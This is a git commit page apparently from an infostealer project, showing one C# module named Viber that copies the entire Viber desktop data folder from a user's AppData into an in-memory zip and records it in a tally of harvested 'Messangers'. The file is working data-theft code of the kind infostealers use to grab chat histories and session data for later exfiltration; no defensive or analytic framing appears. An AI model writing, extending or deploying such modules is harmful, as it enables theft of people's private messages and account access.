initial commit

This commit is contained in:
i2p
2026-08-27 18:29:08 +00:00
commit 89e4383061
454 changed files with 18399 additions and 0 deletions
+30
View File
@@ -0,0 +1,30 @@
using System;
using System.IO;
using Intelix.Helper.Data;
namespace Intelix.Targets.Messangers;
public class Viber : ITarget
{
public void Collect(InMemoryZip zip, Counter counter)
{
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "ViberPC", "data");
if (Directory.Exists(text))
{
string entry = "Viber";
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
counterApplications.Name = "Viber";
Array.ForEach(Directory.GetFiles(text), delegate(string file)
{
zip.AddFile(entry + "\\" + Path.GetFileName(file), File.ReadAllBytes(file));
});
Array.ForEach(Directory.GetDirectories(text), delegate(string dir)
{
zip.AddDirectoryFiles(dir, entry);
});
counterApplications.Files.Add(text + " => " + entry);
counterApplications.Files.Add(entry);
counter.Messangers.Add(counterApplications);
}
}
}